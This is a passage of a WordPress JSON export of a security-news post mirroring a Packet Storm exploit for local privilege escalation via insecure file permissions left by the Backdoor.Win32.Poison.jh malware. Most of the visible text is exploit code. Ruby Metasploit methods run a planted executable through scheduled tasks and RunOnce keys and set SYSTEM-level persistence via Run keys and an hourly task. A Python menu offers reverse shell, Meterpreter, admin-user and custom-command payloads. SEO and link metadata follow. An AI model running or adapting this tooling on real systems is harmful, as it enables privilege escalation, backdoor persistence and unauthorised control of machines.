\/sc once \/st 00:00 \/ru SYSTEM \/f\\&#8221;)\\n        cmd_exec(\\&#8221;schtasks \/run \/tn \\\\\\\\\\&#8221;#{task_name}\\\\\\\\\\&#8221;\\&#8221;)\\n        cmd_exec(\\&#8221;schtasks \/delete \/tn \\\\\\\\\\&#8221;#{task_name}\\\\\\\\\\&#8221; \/f\\&#8221;)\\n      end\\n    \\n      def trigger_via_registry(path)\\n        reg_cmd = \\&#8221;reg add \\\\\\\\\\&#8221;HKLM\\\\\\\\\\\\\\\\SOFTWARE\\\\\\\\\\\\\\\\Microsoft\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\CurrentVersion\\\\\\\\\\\\\\\\RunOnce\\\\\\\\\\&#8221; \/v \\\\\\\\\\&#8221;Poison\\\\\\\\\\&#8221; \/t REG_SZ \/d \\\\\\\\\\&#8221;#{path}\\\\\\\\\\&#8221; \/f\\&#8221;\\n        cmd_exec(reg_cmd)\\n      end\\n    \\n      def trigger_auto(path)\\n        # Try all methods\\n        [method(:trigger_via_wmi), \\n         method(:trigger_via_service),\\n         method(:trigger_via_task),\\n         method(:trigger_via_registry)].each do |method|\\n          begin\\n            method.call(path)\\n            print_good(\\&#8221;Triggered via #{method.name}\\&#8221;)\\n            return true\\n          rescue\\n            next\\n          end\\n        end\\n        false\\n      end\\n    \\n      def establish_persistence(path)\\n        # Add to registry\\n        reg_keys = [\\n          \\&#8221;HKCU\\\\\\\\\\\\\\\\Software\\\\\\\\\\\\\\\\Microsoft\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\CurrentVersion\\\\\\\\\\\\\\\\Run\\&#8221;,\\n          \\&#8221;HKLM\\\\\\\\\\\\\\\\SOFTWARE\\\\\\\\\\\\\\\\Microsoft\\\\\\\\\\\\\\\\Windows\\\\\\\\\\\\\\\\CurrentVersion\\\\\\\\\\\\\\\\Run\\&#8221;\\n        ]\\n        \\n        reg_keys.each do |reg|\\n          cmd_exec(\\&#8221;reg add \\\\\\\\\\&#8221;#{reg}\\\\\\\\\\&#8221; \/v \\\\\\\\\\&#8221;Poison\\\\\\\\\\&#8221; \/t REG_SZ \/d \\\\\\\\\\&#8221;#{path}\\\\\\\\\\&#8221; \/f\\&#8221;)\\n        end\\n        \\n        # Create scheduled task\\n        task_name = \\&#8221;WindowsPoison\\&#8221;\\n        cmd_exec(\\&#8221;schtasks \/create \/tn \\\\\\\\\\&#8221;#{task_name}\\\\\\\\\\&#8221; \/tr \\\\\\\\\\&#8221;#{path}\\\\\\\\\\&#8221; \/sc hourly \/mo 1 \/ru SYSTEM \/f\\&#8221;)\\n      end\\n    end\\n    &#8221;&#8217;\\n    \\n    # ============================================\\n    # PART 3: MAIN EXECUTION\\n    # ============================================\\n    \\n    def main():\\n        print(\\&#8221;\\&#8221;\\&#8221;\\n    \u2554\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2557\\n    \u2551   Poison.jh LPE Exploit &#8211; Local Privilege Escalation     \u2551\\n    \u2551   Conditions: Poison.jh with Everyone:F permissions      \u2551\\n    \u2551                     by indoushka                         \u2551\\n    \u255a\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u2550\u255d\\n        \\&#8221;\\&#8221;\\&#8221;)\\n        \\n        exploit = PoisonExploit()\\n        \\n        # \u0642\u0627\u0626\u0645\u0629 Payloads\\n        payloads = {\\n            \\&#8221;1\\&#8221;: (\\&#8221;Reverse Shell\\&#8221;, \\&#8221;reverse_shell\\&#8221;),\\n            \\&#8221;2\\&#8221;: (\\&#8221;Meterpreter\\&#8221;, \\&#8221;meterpreter\\&#8221;),\\n            \\&#8221;3\\&#8221;: (\\&#8221;Add Admin User\\&#8221;, \\&#8221;add_user\\&#8221;),\\n            \\&#8221;4\\&#8221;: (\\&#8221;Custom Command\\&#8221;, \\&#8221;custom\\&#8221;)\\n        }\\n        \\n        print(\\&#8221;\\\\nSelect payload type:\\&#8221;)\\n        for key, (name, _) in payloads.items():\\n            print(f\\&#8221;  {key}. {name}\\&#8221;)\\n        \\n        choice = input(\\&#8221;\\\\nChoice: \\&#8221;)\\n        \\n        if choice in payloads:\\n            payload_name, payload_type = payloads[choice]\\n            print(f\\&#8221;\\\\n[*] Selected: {payload_name}\\&#8221;)\\n            \\n            if payload_type == \\&#8221;custom\\&#8221;:\\n                custom_cmd = input(\\&#8221;Enter custom command: \\&#8221;)\\n                exploit.create_payload = lambda: custom_cmd\\n            \\n            # \u062a\u0646\u0641\u064a\u0630 \u0627\u0644\u0640 Exploit\\n            if exploit.exploit(payload_type):\\n                print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*70)\\n                print(\\&#8221;EXPLOIT SUCCESSFUL!\\&#8221;)\\n                print(\\&#8221;=\\&#8221;*70)\\n                \\n                # \u0639\u0631\u0636 \u0627\u0644\u0640 Metasploit module\\n                print(\\&#8221;\\\\n\\&#8221; + \\&#8221;=\\&#8221;*70)\\n                print(\\&#8221;METASPLOIT MODULE CODE\\&#8221;)\\n                print(\\&#8221;=\\&#8221;*70)\\n                print(METASPLOIT_MODULE)\\n                \\n                # \u062d\u0641\u0638 Module\\n                with open(\\&#8221;poison_lpe_exploit.rb\\&#8221;, \\&#8221;w\\&#8221;) as f:\\n                    f.write(METASPLOIT_MODULE)\\n                print(\\&#8221;\\\\n[+] Metasploit module saved to: poison_lpe_exploit.rb\\&#8221;)\\n                \\n            else:\\n                print(\\&#8221;\\\\n[-] Exploit failed!\\&#8221;)\\n        else:\\n            print(\\&#8221;[-] Invalid choice!\\&#8221;)\\n    \\n    if __name__ == \\&#8221;__main__\\&#8221;:\\n        main()\\n    \\n    Greetings to :=====================================================================================\\n    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|\\n    ===================================================================================================&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/213312&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/213312\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:48&#8243;,&#8221;description&#8221;:&#8221;This python script demonstrates a local privilege escalation exploit targeting a vulnerability in the Backdoor.Win32.Poison.jh malware sample. The exploit leverages insecure file permissions created by&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-32939","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=32939\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:48&#8243;,&#8221;description&#8221;:&#8221;This python script demonstrates a local privilege escalation exploit targeting a vulnerability in the Backdoor.Win32.Poison.jh malware sample. The exploit leverages insecure file permissions created by...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=32939\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-12-26T11:45:42+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"16 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \\\/ Privilege Escalation_PACKETSTORM:213312\",\"datePublished\":\"2025-12-26T11:45:42+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939\"},\"wordCount\":3207,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32939#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939\",\"name\":\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \\\/ Privilege Escalation_PACKETSTORM:213312 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-12-26T11:45:42+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=32939\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=32939#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \\\/ Privilege Escalation_PACKETSTORM:213312\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=32939","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-12-26T17:18:48&#8243;,&#8221;description&#8221;:&#8221;This python script demonstrates a local privilege escalation exploit targeting a vulnerability in the Backdoor.Win32.Poison.jh malware sample. The exploit leverages insecure file permissions created by...","og_url":"https:\/\/zero.redgem.net\/?p=32939","og_site_name":"zero redgem","article_published_time":"2025-12-26T11:45:42+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"16 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=32939#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=32939"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312","datePublished":"2025-12-26T11:45:42+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=32939"},"wordCount":3207,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=32939#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=32939","url":"https:\/\/zero.redgem.net\/?p=32939","name":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-12-26T11:45:42+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=32939#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=32939"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=32939#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 Backdoor.Win32.Poison.jh Insecure File Permissions \/ Privilege Escalation_PACKETSTORM:213312"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32939","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=32939"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/32939\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=32939"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=32939"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=32939"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}